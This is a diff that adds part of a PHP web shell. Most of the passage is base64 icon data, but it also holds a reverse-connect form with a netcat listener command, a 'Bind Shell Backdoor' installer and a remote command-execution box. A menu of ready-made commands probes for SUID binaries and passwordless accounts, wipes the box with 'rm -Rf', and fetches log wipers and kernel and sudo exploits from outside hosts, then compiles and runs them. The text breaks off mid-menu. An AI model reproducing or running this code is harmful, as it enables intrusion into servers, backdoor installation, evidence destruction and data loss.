+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>"); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} ?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + <OPTION VALUE="wget http://precision-gaming.com/sudo.c">wget Linux sudo stack overflow + <OPTION VALUE="gcc sudo.c -o sudosploit">Compile Linux 